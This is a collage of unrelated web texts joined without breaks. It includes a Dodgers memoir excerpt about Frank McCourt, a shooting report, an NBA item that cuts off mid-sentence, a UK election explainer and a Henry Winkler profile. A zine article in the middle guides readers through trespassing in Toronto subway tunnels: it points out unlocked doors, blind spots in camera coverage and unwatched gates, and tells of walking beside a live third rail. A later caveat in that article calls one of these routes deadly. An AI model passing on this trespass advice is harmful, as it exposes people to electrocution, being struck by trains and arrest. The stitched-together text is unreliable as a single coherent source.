The project is legal, not aimed at US citizens and has thwarted threats against the country, he said.
"Over the last week we have seen reckless disclosures of intelligence community measures used to keep Americans safe," Mr Clapper said in a statement.The following is adapted from THE BIG CHAIR: The Smooth Hops and Bad Bounces from the Inside World of the Acclaimed Los Angeles Dodgers General Manager by Ned Colletti with Joseph A. Reaves, published by G. P. Putnam’s Sons, an imprint of Penguin Publishing Group, a division of Penguin Random House, LLC. Copyright © 2017 by Painting the Korners, LLC.
Harvard Business School should teach a course on the business acumen of Frank H. McCourt Jr.
It seemed that not many Dodgers fans liked the man. The commissioner of baseball seemed like he despised him. But there is no denying Frank’s staggering business skills.
Frank came from a very successful family. His great-grandfather, an Irish immigrant, founded the John McCourt Company, which quickly became one of Boston’s most respected road-building companies. His grandfather once owned a piece of the Boston Braves while expanding the family business into one of the top highway construction companies in New England, at a time when Americans were becoming increasingly dependent on the automobile.
The Big Chair by Ned Colletti An unprecedented, behind-the-scenes look at the career of famed former Los Angeles Dodgers General Manager, whose tenure spanned nine of the most exciting and turbulent years in the franchise’s history. Buy Now
Frank’s father served with the Fourteenth Armored Division in Europe during World War II and returned to shepherd the McCourt Company’s transition from road builders to general contractors, overseeing more sophisticated infrastructure projects, including the expansion of Boston’s Logan International Airport.
After graduating from Georgetown University, Frank McCourt Jr. established his own company and quickly made his mark, acquiring twenty-four acres of waterfront property in South Boston from the bankrupt Penn Central Railroad in the early 1980s and turning the land into lucrative parking lots while he waited for even more lucrative development opportunities.
In 2001, at age forty-seven, McCourt made a bid to buy the Boston Red Sox, offering ten acres of his waterfront property for use in building a new ballpark to replace historic Fenway Park, which, at the time, was deteriorating badly.
“Clearly the land is much more valuable for full-time commercial and residential development,” McCourt told The Boston Globe in August 2001. “So the only rationale that would motivate us to take on a less-valuable ballpark project would be if it was fused with a controlling interest in the team.”
That proposal quickly fell flat, but two years later, Frank made another bid to buy the Los Angeles Angels of Anaheim, losing out to Arte Moreno, who became the first Mexican American to be the primary owner of a Major League Baseball team.
On January 21, 2003, News Corporation put the Dodgers up for sale. Allen & Company, a New York–based company that specializes as an investment banking and advisory firm, helped broker the sale.
Mark Boster/Los Angeles Times via Getty Images
For six months, News Corporation courted Malcolm Glazer, the billionaire owner of the National Football League’s Tampa Bay Buccaneers and the Premier League’s Manchester United, who died in 2014. Both sides tried hard to reach a deal, but the NFL’s crossownership rules made it impossible. (The NFL allows its owners to purchase sports franchises outside the United States, but banned cross-ownership of teams within the country.)
The prolonged negotiations only made News Corporation all the more impatient to sell the Dodgers and played right into Frank McCourt’s hands. On October 10, 2003, Rupert Murdoch’s Fox media conglomerate agreed in principle to sell the Los Angeles Dodgers to McCourt for approximately $431 million. The deal, which was approved by Major League Baseball on January 29, 2004, was highly leveraged—so leveraged that longtime local radio talk show host Joe McDonnell of KSPN stopped using McCourt’s name and started calling him “McBankrupt.” That was just days after the sale and a full seven and a half years before Frank actually filed for bankruptcy. It was a sign that from the very beginning the media were bent on giving the McCourts a tough ride.
There was a curiosity about how leveraged the deal was and few really knew until Frank and Jamie’s divorce trial, when Frank’s attorney, Steve Susman, acknowledged publicly that “not a penny” of the McCourts’ own money went into the deal.
Not a penny of his own money?
And eight years later, he sold the team for $2.15 billion. Billion! That’s a pretty good return on investment. I’d call it McBrilliant. Worthy of a course at Harvard Business School.
Frank and Jamie took over the club in February 2004. Within two months, they bought a home in the Holmby Hills portion of Brentwood, near the University of California, Los Angeles campus in Westwood, and a few hundred yards from the main gate to Hugh Hefner’s Playboy Mansion. They paid $21.25 million for the five-bedroom, six-bathroom, 11,637-square-foot mansion, then spent another $14 million on renovations that included an Olympic-sized indoor swimming pool—Jamie was an avid swimmer—and transporting the entire kitchen from their Massachusetts home. For good measure, a few months later the McCourts bought a neighboring house for $6.5 million with the intent of using it as a guesthouse. Media, citing divorce documents, reported the McCourts spent an additional $4.8 million in basic improvements and architectural fees to that property.
The first year they owned the Dodgers, the team made the postseason for the first time since 1996. Then things went south. After losing three of four to the St. Louis Cardinals in the 2004 National League Division Series, the 2005 team started 12-2, only to stumble to a 71-91 record—the second-worst record by any Dodger team since World War II. General Manager DePodesta and Manager Jim Tracy weren’t seeing eye to eye. Outfielder Milton Bradley had a series of high-profile run-ins with his teammates and fans. The franchise was in dire straits.
As the 2005 season was winding down—unbeknownst to either one of us, it would be Paul’s last with the Dodgers and my last with San Francisco—the Giants were playing the Dodgers in Los Angeles the first few days of September 2005. My son, Lou, and I decided to drive over from Phoenix, where the Giants had just finished a series against the Diamondbacks and Lou had wrapped up a season coaching at the rookie level. On our way to Dodger Stadium, Lou and I stopped for lunch. We sat down and heard a commotion coming from a raised row of tables nearly adjacent to us in the restaurant. It didn’t take long for me to recognize the voices. DePodesta and Tracy were having a respectful yet emotional exchange that would have best been kept private, not carried out in a popular Pasadena restaurant.
Little more than a month later, Tracy and the Dodgers parted ways and Paul was let go with three years remaining on his contract. I had replaced Jim with Grady Little. We turned the 71-91 debacle into a team that won 88 games and went to the postseason. Frank and Jamie were ecstatic. Two of their first three teams had made the playoffs. Attendance was healthy. So were sponsorships. Healthy enough for the McCourts to go shopping again.
In 2007, the McCourts added a $27.3 million beachfront home previously owned by Courteney Cox and David Arquette at Carbon Beach in Malibu. The home had eighty feet of private beach. Frank and Jamie bought the neighboring house in 2008 for $19 million.
According to media reports from divorce documents, the L.A. homes were added to a portfolio of properties in Vail, Colorado ($6 million), Cabo San Lucas, Mexico ($4.6 million), the Yellowstone Club in Montana ($7.7 million), and a one-hundred-acre Cape Cod estate that at one point was on the market for $50 million.
Life was good for Frank and Jamie, as the public divorce reports displayed. Late evening dinners in Brentwood, Bel-Air, and Beverly Hills. Personal drivers, private jets, expensive daily hairstylists, florists, a “healer” in Massachusetts, and a staff of assistants at their home and at Dodger Stadium.
In 2008, the Dodgers advanced to the National League Championship Series, against the Philadelphia Phillies. We lost in five games but the following year played the Phillies again in the NLCS. In the moments immediately before the opening of the 2008 NLCS, I ran into my first baseball boss—Dallas Green, at that point a special assistant in the Phillies front office.
We saw each other in a hallway. He came toward me with outstretched arms and we hugged.
“I am so very proud of you, Colletti,” Dallas said. “You’ve done very well here.”
I thanked him. His words meant a lot to me since he provided me with my first baseball opportunity.
“But make no mistake, we are here to kick the Dodgers’ ass.” Ah, yes. The same man I knew twenty-six years earlier.
Robert Gauthier/Los Angeles Times via Getty Images
Then, on the eve of the 2009 NLCS, the marital cracks began to reach the public. Media speculation had been rampant that the McCourts were having issues. They were seldom seen together. I had been trying to block it all out, but the night before Clayton Kershaw would match up against Cole Hamels in Game 1 at Dodger Stadium, I was with a friend, Bill Connor, who had worked for decades on The Tonight Show with Johnny Carson and Jay Leno. We were dining at Morton’s near the NBC lot in Burbank and I’d just sat down when Frank called.
He told me they were separating and he wanted me to know ahead of the news reports.
I thanked Frank for the heads-up and within days the firestorms erupted. The fire would burn for nearly three years.
On October 16, the day after we lost the series opener 8–6, Frank and Jamie each publicly declared ownership of the team— Frank claimed 100 percent ownership. Jamie said she was entitled to 50 percent under California community property law.
Six days later, the day after the Phillies eliminated us and moved on to the World Series, Frank fired Jamie as CEO of the Dodgers, telling her to clean out her office and report to Human Resources. I don’t remember ever hearing of a husband firing his wife. Publicly, no less.
On October 27, Jamie formally filed for divorce and demanded her job back as Dodgers CEO.
All those chaotic and headline-grabbing events were playing out as I was coming up to the fifth-year option I had negotiated when I originally signed. The deadline was October 31. We’d been negotiating a possible extension during the NLCS and amid all the ugly legal maneuvering. Without the fifth-year mutual option, the Dodgers would have had all the leverage. Frank could have taken the club option for the fifth year and left me in a weak negotiating position. But since I had an option, too, and other clubs were beginning to send out feelers, I had a touch of leverage. The Dodgers had gone to the postseason three of my first four years and were coming off back-to-back NLCS appearances for the first time since 1977–78. People had taken notice.
A position with another team was there for the taking if I wanted to leave, but there was something about the challenges of leadership and the competition in L.A. that fueled me. Although a different organization might have had less drama, and perhaps even as good a chance to be successful—if not better—I decided that if Frank would negotiate with me fairly, I would stay. Like a free agent deal for a player, I had done my research and felt I was prepared. I knew where my break point would be in deciding to stay or leave. The next move would be up to Frank and I was at peace with whatever his decision would be. He was still the best negotiator I had ever been up against, but I felt confident that between the respect we shared and the research I had done and explained to him, he would be fair and realistic. If not, there were options.
It was also important to me to be able to keep the staff together. They had earned the opportunity to stay and prosper. If I left, they would fall into the purgatory that comes with a new leader in the GM chair. I felt I owed them stability as well.
Besides taking the 71-91 team from 2005 and turning it into three postseason clubs, the organization had been very successful at the gate and we were making deadline deals without paying the salaries of players we were acquiring.
In the end, we settled on a three-year extension with a pair of one-year options—both club options. We signed the deal in the lobby of the Philadelphia Ritz-Carlton, which is a block from City Hall and about a mile or so west of where the Declaration of Independence was signed.
The day of the signing was an off day between Games 4 and 5 of the NLCS. I went to the meeting alone. Frank was there with Dennis Mannion, the club president; Sam Fernandez, the Dodgers’ legal counsel; Peter Wilhelm, CFO; and Jeff Ingram, a longtime aide to Frank in real estate and Dodgers ventures. The dynamics of that day are still very interesting to me. I was running a team trying to get to the World Series and managing 180 or so people in the front office while dealing with all the outside noise and uncertainty of the McCourts’ marriage and my own future. We were sitting at a table in the lobby with five men on one side of the table and me on the other side. Then, one night later, the Phillies beat us. The 2009 season was over and Frank’s fight to keep the team took center stage, and I had the additional task of walking a fine line of support to the people who hired me and maintaining credibility in the public eye.
A prominent sports columnist once told me point-blank that as long as I continued to support McCourt, he would do everything he could to make me look bad and damage my credibility and career. And he did at least try.
All you can do in a situation like that is live with it. In a job like the one I had, you live with a lot of things. You try to take the high road and be as classy as possible. Don Mattingly and I talked about that all the time after he became manager of the Dodgers. Focus on what you can control in a positive way.
Former Navy SEAL Mark Owen laid it out clearly when he said that the best focus on what they can control and stay within their three-foot world.
You keep those things riveted in your sight line—on your goal path. If we had gotten distracted by everything we dealt with during the McCourt era, we wouldn’t have had time to do anything but feel sorry for ourselves and bitch and moan.
Frank had his faults. We all do. But I truly relished my time with him, particularly our conversations. Frank is a sharp man—very, very intelligent. He would challenge my thought process constantly and relentlessly. In the beginning, he was more than a little intimidating. But I came to realize he was doing it for the good of the organization, and for my own personal growth. I would have an idea and tell his assistant, Hannah Shearer, I needed fifteen minutes. By the time Frank stopped grilling me, we’d be in there for an hour and a half or two hours. In the end, he nearly always agreed with me, and I remember asking him once, “What did I say to give you the confidence to agree with me?”
“I agreed with you before you walked in the door,” he said. “I just wanted to make sure you had thought it through and let you see how you had done it.”
That was an amazing ability. I miss those sessions.
In my opinion, the next two and a half years were the most tumultuous the Dodgers or, for that matter, any American major market sports franchise, ever endured. Frank and Jamie’s divorce trial led to a seemingly endless marathon of demoralizing news reports about their lifestyle, which the media used to question whether the team had the best chance to succeed. But those reports were only part of the landscape. Commissioner Selig went to war against Frank— MLB claimed publicly that $189 million had been “looted” from the franchise. It got mean and personal. MLB tried to take over the team and vetoed a television deal with Fox that Frank hoped would put the team on very solid financial footing.
As with any business leader, Frank wanted to make money, but he also wanted to be seen and respected as a “success.” He had a genuine passion for baseball and understood how privileged he was to own the Dodgers. Frank wanted to be seen as a good steward of the franchise. But each passing news report undermined any hope the fans and media would see him that way. All along the way, Frank fought every assertion.
On June 26, 2011, McCourt struck back. He had threatened to drag the commissioner and Major League Baseball into court, but held off. Then, over dinner with a trusted associate, he struck business genius. He decided to file for bankruptcy, a strategy that changed the course of events dramatically. The decision did not come easily. But it was his only choice.
“He fought the idea,” a longtime business associate offered. “It wasn’t something he had ever wanted to consider, but after having that dinner, there were a couple of discussions and then it was full on. In less than two weeks he had filed. It easily turned out to be the best choice.”
Frank hired the international law firm Dewey & LeBoeuf to lead the charge—an ironic move considering Dewey & LeBoeuf filed for bankruptcy itself and went out of business just two years after McCourt sold the team.
The bankruptcy move, which took less than a week to put into action once it began, gave Frank leverage and took potential control of the franchise out of the hands of Major League Baseball. No one I knew used leverage better than Frank McCourt. The United States Bankruptcy Court was now in control of the Dodgers, and, as is the case with most bankruptcies, the court has two primary goals: try to get creditors as close to one hundred cents on the dollar owed, and settle the case. Frank could argue strongly that the scuttled Fox deal offered creditors the best possible remedy.
The Dodgers missed the playoffs in 2010 and 2011, which is hardly surprising considering what we were dealing with off the field and how we were hampered financially. Our payroll dropped. We had signed players to deals based on one payroll, only to see it slashed by $20–30 million. Now we were forced to fill out the rest of the club with low-salaried players. That helped balance the budget sheet while leaving an unbalanced roster—in the second-largest market in the country, no less.
The members of the organization kept the ship afloat and moving forward while a hurricane of distractions swirled around us. We were 162-161 those two seasons—not what we wanted. We had a better record combined in those two seasons than any team in our division except the San Francisco Giants—and a record better than nine of the sixteen teams in the National League at the time. And no other organization was going through what we were going through with ownership.
Cost-efficient, homegrown talent dwindled at a time when the franchise lacked the financial resources to fill holes from the outside. We had basically abandoned international scouting and signing players in Latin America for financial reasons and it was taking its toll.
With ownership set to change on May 1, 2012, the team began that season with a payroll of approximately $90 million. By comparison, between 2013 and 2017, the Dodgers total payroll exceeded more than $1.3 billion during those five seasons. The organization also paid more than $113 million in CBA-required competitive balance tax, in addition to the payroll costs. (Clubs that exceed a predetermined payroll threshold are subject to a Competitive Balance Tax, which is commonly referred to as a “luxury tax.” Those who carry payrolls above that threshold are taxed on each dollar above the threshold, with the tax rate increasing based on the number of consecutive years a club has exceeded the threshold.)
Each day brought more bad news, courtesy of the press, which had a field day with all low-hanging fruit. We just needed to hang on and do whatever we could to have a positive effect on the few things we could control. That was the greatest lesson learned in those days—spend your energy on what you could affect in a positive manner; tune out the noise, and ignore what you had no chance to change.
Denis Poroy/Getty Images
As emotionally draining as those two and a half years were for all of us, no one survived them better than Frank. Sure, he was a villain to the fans and Selig. But in the end, he came out the financial winner. He paid Jamie off with a $131 million tax-free divorce settlement plus property. Then he won an important, unprecedented, and staggering concession from the commissioner. For whatever powerful reasons, Selig agreed to let Frank hold an auction among MLB-approved bidders and sell the team to the group of his choosing. He broke the oligarchy that is Major League Baseball.
The group Frank eventually chose was headed by Mark Walter, with Los Angeles basketball legend Earvin “Magic” Johnson and four others—investors Todd Boehly and Bobby Patton, Hollywood executive Peter Guber, and longtime sports executive Stan Kasten. Doing business as Guggenheim Baseball Management, the new owners paid $2.15 billion for the franchise, parking, and real estate around Dodger Stadium. The sale price was a record for a U.S. sports franchise, far surpassing the previous high of $1.1 billion, which New York real estate mogul Stephen Ross had paid for the Miami Dolphins in 2009.
Pundits had predicted that the most Frank could get for the franchise was $1.5 billion. And few thought he would come close to that. Not only did Frank blow the doors off those numbers, but, according to media reports, he also got Guggenheim to agree to let him keep 130 acres around Dodger Stadium and to invest $400 million with McCourt Partners—a joint-venture real estate development corporation he formed with his sons and Guggenheim. For good measure, Guggenheim paid him $5.5 million the first year to manage the joint venture.
Think about that. And then remember, his attorney said the team was purchased with “not a penny” of the McCourts’ own money. Love him or leave him, the bottom-line results were staggeringly impressive.
McVillain? McBankrupt? McBrilliant.Story highlights Sheriff's office: A customer with a concealed pistol opened fire after a man with a hatchet attacked
The man swung at the customer and the 7-Eleven clerk, the sheriff's office says
The hatchet-wielding attacker was pronounced dead at the scene
(CNN) A customer drinking coffee at a Seattle 7-Eleven Sunday morning drew a pistol and shot dead a hatchet-wielding man who went after him and the store clerk, authorities said.
Investigators haven't yet identified the suspect, who's believed to be in his 40s and was wearing a mask when he entered the store early Sunday, the King County Sheriff's Office said.
"The suspect did not make any statements but swung the hatchet at the customer and then went behind the counter and attacked the clerk," the sheriff's office said.
Then, the customer fired back, according to the sheriff's office. Paramedics tried to resuscitate the suspect, authorities said, but he died at the scene.
The customer, a 60-year-old man, had a concealed pistol license, according to the sheriff's office. He was not injured.
Read MoreOklahoma City Thunder guard Reggie Jackson wants to run his own team. He’s also like to play for a team that competes for a championship. He’d also like to be paid in terms commensurate with his worth on the NBA’s open free agent market.
He may have to betray one or even two of those sides this year or next in able to satisfy one end of his completely understandable wants.
Jackson shined earlier in 2014-15 when both Russell Westbrook and Kevin Durant had to sit for the Thunder, but his contributions have tailed off somewhat since those two returned to full health – with the fitful Thunder trading frustrating losses with wins with or without the All-Stars running the show. A restricted free agent this summer, Jackson and the Thunder failed to come to terms on a contract extension last fall, allowing for the possibility that Jackson could eventually leave Oklahoma City in a number of ways.
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He could be traded by the team, without his consent, to any other squad between now and next month’s trade deadline.
He could watch as a restricted offer sheet from another team is matched by the Thunder, against Jackson’s wishes, this summer.
He could play |
the time, so I was only able to get a glimmer of the immenseness that lay beyond. Vive Lawrence! Vive Life!
York Mills, Sheppard and North York Centre have similar playgrounds located just north of their "Danger: Do Not Enter" gates, but they lack anything so thrilling as Lawrence's gigantic attic. Finch's northern playground offers a brightly-lit series of three tail tracks, various small maintenance rooms, a ladder leading down to some very foul-smelling sewers, and ladders leading up to ventilation rooms on either side of the station. This is a fairly nice area to hang around in, though unfortunately it's a fairly heavily staffed station. For now, Finch is the end of the Yonge line. West on the Bloor-Danforth Line
Generally speaking, the Bloor-Danforth line gets more and more modern and less and less interesting the further one gets from its centre. Kipling, at the westernmost end of the line, is pathetic and boring. Its tiny little tail tracks are outside, of all places, and extremely unimpressive. The situation does not improve much as one travels east past Islington, Royal York, Old Mill, Jane, Runnymede and High Park; there's nothing special to see in these stations or their tunnels and the tracks often run outside for long stretches. Icky.
Continuing east, one reaches the original section of the Bloor-Danforth line, which was completed in 1966 and runs from Keele to Woodbine. As the original western terminus of the line, Keele has a distinctive track setup including sidetracks leading off to a repair yard. Unfortunately, it is not until Dundas West that the tracks go back underground where they belong and stay there, and not until Bathurst that we come to the truly fun section of the Bloor-Danforth line. At Bathurst there is a nice little overhang above the tracks that's worth investigating.
Next on the line is the Bloor-Danforth segment of Spadina, where the doors beyond the gates are nicely unlocked. The security cameras are very poorly arranged here so it's easy to go through the gates unseen. In the tunnels, one can find several maintenance rooms, escalator rooms, and even climb down long metal ladders into the storm sewers. Lots of fun. After Spadina comes the equally delightful Lower St. George. The area just to the west of the station offers a plethora of unlit cubbyholes and crawlspaces, as well as a very long metal ladder which ascends many meters up to street level and a small pitch-black loft containing two huge fans. Just to the east of Lower St. George, one has the option of the following the tracks east to Upper Bay or southeast to Museum.
Only the upper part of Bay station is in regular use today, though Lower Bay is still quite accessible to anyone willing to take a quick stroll through the tunnels heading west from Yonge or northeast from Museum. It's a relatively little known fact that Museum, St. George and Lower Bay stations are connected in a Y-shape. The route along the disused tunnel from Museum down to Lower Bay is one of the most exhilarating and rewarding exploration sites in the system. Museum is one of the least used stations, and the gates are not monitored at all, so it didn't take much effort for my two comrades and I to scurry beyond the gates and into the tunnels. The three of us then intrepidly hiked down the curvy centre tunnel towards the legendary Lower Bay station, striding along the small trackside ledge as fast as we dared to travel while keeping a careful eye on the electrified third rail. This graffiti-decorated tunnel is no longer in regular use, but the tracks are still powered for those special occasions when trains need to switch from one line to other. Fortunately, no trains needed to switch lines during our 20-minute descent, though this didn't prevent us from becoming extremely frightened each time a train roared through the tunnels around us. Along the way, we found ladders up four storeys up to the surface and a single storey down into the sewers. We were grateful whenever we found some dark corridor, maintenance area or ventilation room where we could stop and calm ourselves for a moment or two. [My updated thoughts: The journey to Lower Bay is actually quite dangerous. Though the tunnels leading to Lower Bay are no longer in constant use, they are frequently used by trains switching lines, or by drivers in training. If a train came along at full speed while you were on your way to Lower Bay, you would almost certainly be killed. As far as I know there is no way to get to Lower Bay through the tunnels during operating hours without risking your life. I don't make the trip anymore, and I don't recommend it to others. There are other ways to get to Lower Bay (after hours, on a tour, during a film shoot), and there are other amazing places to sneak into in the subway system. --Ninj]
When we finally glimpsed the abandoned station's white tiles just around the corner, our hearts pounded. The legend was real. Forcing ourselves to remain quiet, we slowly inspected the platform for signs of cameras or motion detectors. Finding none, we carefully ventured forth. After we'd looked about breathlessly for a couple of minutes we heard voices and scurried back into the tunnels in a panic before realizing that the voices were simply carrying down through the ventilation shafts from Upper Bay. After this we explored in relative peace, and were amazed and delighted at all the machinery, filth, and leftovers from old movie sets lying about the platform.
When we'd had enough, we ascended a staircase, which we figured would lead to Upper Bay. Bracing ourselves, we strolled out through the automatically locking door into Upper Bay like it was the most natural thing in the world, which indeed it was. As Sean saw it, if anyone gave us a funny look we could simply complain, "We waited down there for over an hour and the train never came."
The tunnels between Bay and Yonge are a great place to go tunnel running, as there are many neat rooms, turnoffs, and hiding places in a single short stretch. The only problem is emerging into Yonge. Yonge is Toronto's busiest station with over 170,000 riders passing through daily, and it's never pleasant to face several thousand aghast faces as one emerges from the tunnels. Tunneling is kind of like flying in an airplane - the take off and the landing are usually the scariest parts. As usual, the important thing to remember is that you are supposed to be there. (I authorized you back in issue two, remember?)
Continuing eastward through the curvy tube tunnels near Sherbourne and the sunroofed tunnels near Castle Frank, we eventually come to one of the line's most fascinating and challenging stretches of track. Between Castle Frank and Broadview stations, the trains depart the tunnels and speed along the wide expanse of the Prince Edward Viaduct. For those unfamiliar with this feat of modern engineering, the viaduct is the immense steel-arch bridge, which spans the Don Valley, rising high above the Don Valley and the Rosedale Ravine, and supporting both Bloor Street and the subway line. Those who enjoyed Stand By Me will love this trip: the distance between one side of the bridge and the other is over half a kilometer!
When Ultraviolet and I took first our timid steps through the tunnels from Broadview and out onto the bridge late one night, the 78-year-old viaduct was in the midst of a major facelift. Clear but muddy tarpaulins were wrapped around the sides, impeding our view of the Don Valley Parkway far beneath us. Dirt was everywhere, and the tunnels were filled with the thunderous noise of cars and trucks driving along Bloor Street above us. Because of the noise, we didn't get much warning when a train came racing down the tracks. Not having time to find a proper hiding place, we quickly hurtled ourselves over a cement wall and slid down into a huge, steep pit of dirt located between the tracks. This extremely wide and deep pit seemed somehow related to the construction, and provided good cover while the train passed overhead. By the time we'd managed to re-scale the pit's steep wall and run back through the tunnels to Broadview, we were absolutely covered in grease and dirt and our shoes were filled with sand. It was a triumph.
Compared to that, the short, square tunnels between Broadview and Main Street seem distinctly uninteresting, though there are some appealing sidetracks between Donlands and Greenwood that would be worth a look sometime. Presumably these head south towards the Greenwood train yard.
From Main Street eastward, tunneling is no longer a very attractive option. The routes from Main Street to Victoria Park and from Victoria Park to Warden are long and outside. The tunnels between Warden and Kennedy span the longest route on the subway line, a route almost as long as the entire University line. There are two emergency exits along the route. In my opinion, walking the full 2.7 kilometers between these two easternmost stations would be more of an endurance test than an adventure, though I'd certainly have to respect anyone with enough determination to attempt such a trip.
Kennedy station is fairly awesome; a metal ladders leads up over the office to a series of metal catwalks linked by stairs and ladders, eventually leading through some cement air ducts to a grate at street level. Unfortunately, this is the most heavily staffed part of the station.
So concludes our journey. I hope you survived, and I promise we'll do something nice and safe and above ground next issue. This article originally appeared in Infiltration 5, together with articles on exploring the underground LRT stations (Union, Queens Quay and Spadina) and the abandoned subway stations (Lower Bay and Lower Queen).In the wake of three deadly terror attacks in just under three months, the UK is understandably reeling and at the forefront of global discussions about terrorism, citizenship and security. These discussions have pushed the U.K.’s “Brexit” decision back into the news just days before this week’s June 8th snap elections. The background leading up to these elections is as important as their outcome, and understanding how one of America’s staunchest global partners began their recent journey will help illuminate what those outcomes may mean on the world stage.
Why Snap Elections?
As things stood, the U.K. was not scheduled to have elections until 2020, in compliance with their five-year election cycle. To most Americans, who consistently vote in less than fifty percent of non-Presidential elections, pushing up the time for citizens to participate may seem counterproductive. The idea of a “snap election” – where a vote is called before its appointed time – reflects the character of many European political traditions, and has been invoked eight times previously in the U.K. alone. In most cases, it’s called by a majority party looking to strengthen their hold in a branch of government. In the U.K., however, there have been times where one of the minority parties has regained control of Parliament.
Following the Fixed-Term Parliament Act of 2011, calling for a snap election requires two-thirds of Parliament to agree before pushing the normal five-year timeline aside. Since nearly all of the opposition parties voted to participate, it seems likely both the incumbent Conservative Party and all others believe they have a good chance at winning. Prime Minister Theresa May is looking at the elections to strengthen her parliamentary position among the four other political parties in the U.K. while she implements Brexit.
May’s Unusual Rise
The fact that Theresa May is currently in a position to implement Brexit is one of the more fascinating political subplots of 2017. Following the Brexit vote last year, sitting Prime Minister David Cameron resigned his post and opened the door for a Conservative Party leadership election. May, who won her position by default after an election cycle described with movie references to “The Godfather” and “Scarface,” has been harshly critical of the opposition parties, saying they were trying to undermine the referendum victory of Brexit. A victory in the snap elections would give the Conservative Party a strengthened majority through 2022, long enough to oversee the entirety of the Brexit split with Europe and negotiate new trade agreements with the continent.
Prime Minister May is confident enough in her present lead that she has refused to participate in televised debates with opposition party leaders. That decision was widely criticized by her opposition during a televised debate May 31st, where Home Secretary Amber Rudd stood in for her. Since this weekend’s terrorists attacks in the London Bridge pub district, other voices have called for debate.
Brexit Support
The Brexit vote opened up divides in the country and since the referendum the specifics of its implementation remain a hot topic in this campaign. Legally, Brexit could have been implemented by the Prime Minister, a still-contentious issue that May has been wise to acknowledge.
A leading voice of the opposition has been private investment manager Gina Miller, who challenged the legal authority of the executive branch of the British government to implement Brexit without parliamentary legislation. Miller employed a politically savvy brand of twenty-first century campaign engagement, using a tactical voting initiative to back candidates opposed to a hard-Brexit. After May called for the election, Miller raised over £260,000 ($340,000) in four days through a GoFundMe campaign to support politicians who have advocated for a ‘soft’ Brexit.
Miller’s GoFundMe has been careful to avoid advocating the outright stopping of Brexit, which won its referendum vote by 52 to 48%.
“We will support candidates who campaign for a real final vote on Brexit, including rejecting any deal that leaves Britain worse off,” the website says, explaining what will be done with the money that has been raised by donations.
Some have called for the snap elections to be postponed, but the U.K. appears to be legally bound to the June 8th timeline because parliament is dissolved 25 working days before an election.
Multiparty Opposition
In comparison to America, the U.K. operates under a multiparty system. This lack of a binary “us vs. them” breakdown can be somewhat confusing, but helps to bring multiple nuanced viewpoints into political discourse. The Party of Liberal Democrats is running for the centrist vote. The UK Independence Party (UKIP), which was a major voice in the lead up to Brexit, is now threatened with extinction and will likely vote along with the ruling Conservative Party. The Scottish National Party is running on a promise to hold a new referendum on the independence of Scotland.
Representing Labour, the largest opposition party in the U.K., Jeremy Corbyn has laid out plans to drive the party further to the left. The Labour Party has been on the decline in the polls since Corbyn took office. The Conservative Party has been hitting Labour on the strong performance of the UK’s economy since Brexit. This performance has boosted the ruling party, and left Labour explaining why their dire warnings in the run up to the vote have failed to manifest.
As an alternative, they have gone with the rare tactic of laying out their platform. Previously Labour Party issued an official platform for the upcoming election, confirming the party’s leftward shift. If elected, Labour promised to, among other left-leaning policies:
Nationalize rail, buses, and energy businesses
Eliminate tuition for university
20:1 limit on gap between the lowest and highest paid workers in companies given Government contracts
New taxes for people earning over £80,000, around $100,000
Favor a ‘soft’ Brexit, which would not expel current EU citizens or even leave the currency union
It appears the strategy may have worked. A new Survation poll conducted over the weekend before the London attack shows that Labour has slashed the Conservatives lead from 17 points to just 1 point over the past month.
Political opinion polling specialist David Cowling observed, “This election was supposed to be in the bag for the Conservatives; the only area of doubt was the actual size of their enormous parliamentary majority. But in the final weeks of the campaign, the overwhelming Conservative leads in the polls have shrunk and even, in a few cases, reached single figures.”
Other leading polling firms have reported Conservative leads ranging as high as 11 and 12 points.
Whichever party is ultimately victorious in the elections will have to negotiate the terms of Brexit with a European Community headed by Germany, which will not hold elections until September.
LIMA CHARLIE NEWS, NEW YORK BUREAU, with Michael Gardner and Diego Lynch
Lima Charlie provides global news, insight & analysis by military veterans and service members Worldwide.
For up-to-date news, please follow us on twitter at @LimaCharlieNewsHenry Winkler had “Happy Days” aplenty on that hit TV show of yesteryear. And to this day he has plenty of fans -- one in particular, as Mo Rocca shows us in our Sunday Profile:
“Look at these front teeth!” said Stacey Winkler. “They’re perfect. They’re like a toothpaste commercial!”
The actor who garnered fame as the Fonz overcame dyslexia and got hooked on fishing. CBS News
After 38 years of marriage, Stacey Winkler still adores her husband.
“I think he’s so handsome,” she told Rocca. “He’s adorable. Look at his hands; they’re so tan and handsome.”
“That’s very kind of you,” Henry Winkler said in response. “You’re very pretty!”
Then again, who doesn’t love Henry Winkler? After all, he was the Fonz on the classic TV series, “Happy Days.”
“Alright, now listen up: girls, one time, one time only, line right up here, kiss the Fonz for a buck. Now that’s a bargain at any price.”
The role of the Fonz, Winkler said, “was the foundation on which I built the rest of my life. He built the house I live in!”
But Winkler didn’t always feel the love, especially in the Manhattan apartment where his parents, immigrants from Nazi Germany, raised him.
“They had an affectionate phrase for me: Dummer Hund. And for those of you who don’t understand German, that means ‘dumb dog.’ They were convinced that I was lazy, that I was not living up to my potential. Teachers said the same thing. So I was grounded most of my high school career.”
He was 31 when he read his first book.
Henry Winkler on his dyslexia
What neither Henry nor his parents knew was that he was dyslexic -- so dyslexic he could barely read.
“It was horrible,” he said. “It was humiliating. It was scary. And I learned to memorize as much as I could from any page and then improvise.”
Rocca asked, “How many colleges did you apply to?”
“I applied to 28, and I got into two.”
Winkler managed to get through Boston’s Emerson College, then was accepted to the prestigious Yale School of Drama, after auditioning with a “Shakespearean monologue” … sort of. It was a monologue that he improvised.
“’Launce and the dog. And he loved his dog. And he would take his dog for a walk. The sky was that, that eerie blue, just before the storm.’ I made it up!”
After Yale, he acted on stage and in commercials. Then at the age of 27, Winkler became the coolest high school dropout in America.
Richie: “What’s in the box, Fonz?”
Fonz: “My engagement rings.”
Richie: “You give girls engagement rings?”
Fonz: “Hey, don’t be silly. They give’ em to me!”
He was one of TV’s biggest stars. But his dyslexia continued to interfere with not just his reading, but also physical coordination. Riding a motorcycle, for example, was challenging: “Very. Could not piece together the gear, the gear, the speed, the brake. It was too much. I couldn’t comprehend.”
“Was that embarrassing for you?” Rocca asked.
“Well, I wish that I could so it would’ve looked great if I rode it, you know? But I only rode it for about 15 feet in actuality.”
But Winkler was so convincing playing smooth and confident, that the offers got bigger. Rocca asked, “Why did you turn down the lead in ‘Grease’?”
“Because I’m an idiot!” he replied. “No, the thing is that I had this, this thing: ‘Oh, I’m not gonna be typecast. You know, I’m gonna beat the system.’ And really what I should’ve done is just shut up and gone to work.”
